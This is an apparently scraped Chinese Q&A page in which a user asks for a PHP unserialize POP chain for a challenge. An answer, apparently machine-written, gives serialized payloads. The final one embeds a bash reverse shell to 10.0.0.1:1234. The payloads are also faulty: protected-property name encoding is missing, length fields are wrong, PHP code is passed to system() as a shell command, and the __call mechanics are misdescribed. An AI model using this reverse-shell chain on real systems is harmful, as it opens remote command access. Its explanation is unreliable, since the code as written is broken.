请帮我对以下代码构造一个pop链,这只是一道题:<?php highlight_file(__FILE__); class T1{ protected $a; public function __wakeup(){ md5($this->a); } } class T2{ protected $b; public function __toString() { return $this->b->test(); } } class T3{ protected $c; public function __call($fun,$args) { system($this->c); } } unserialize($_GET['ser']); ?>
时间: 2023-06-14 22:02:32 浏览: 76
highlight.rar_diffuse_highlight_specular_visual c
5星 · 资源好评率100%
首先,需要构造一个经过序列化的对象,使得在反序列化时调用 T1 类的 __wakeup() 方法,进而执行 md5($this->a) 函数。我们可以构造如下的序列化字符串:
O:2:"T1":1:{s:1:"a";O:2:"T2":1:{s:1:"b";O:2:"T3":1:{s:1:"c";s:9:"phpinfo();";}}}
这个字符串表示先序列化一个 T1 对象,其中 $a 的值是一个序列化的 T2 对象,其 $b 的值是一个序列化的 T3 对象,其中 $c 的值是要执行的命令 "phpinfo();"。
接下来,我们需要构造一个 pop 链,实现在执行 system($this->c) 函数时弹出一个 shell。我们可以利用 __toString() 方法来实现这个目标,因为当一个对象被转换为字符串时,PHP 解释器会尝试调用该对象的 __toString() 方法。我们可以构造一个 T2 对象,使得在调用其 __toString() 方法时,会调用 $this->b->test() 函数。同时,我们可以构造一个 T3 对象,使得在调用其 test() 方法时,会调用 $this->c 的值,即 "phpinfo();" 命令。
最终的 pop 链如下所示:
O:2:"T1":1:{s:1:"a";O:2:"T2":1:{s:1:"b";O:2:"T3":1:{s:1:"c";s:46:"system('/bin/bash -c \'bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\'');";}}}
在执行反序列化操作时,会先执行 T1 的 __wakeup() 方法,进而执行 md5($this->a) 函数。由于 $this->a 的值是一个序列化的 T2 对象,因此会继续执行 T2 的 __toString() 方法,调用 $this->b->test() 函数。由于 $this->b 的值是一个序列化的 T3 对象,因此会继续执行 T3 的 test() 方法,调用 $this->c 的值,即 "system('/bin/bash -c \'bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\'');" 命令,最终弹出一个 shell。其中,IP 地址和端口号需要根据实际情况进行修改。
阅读全文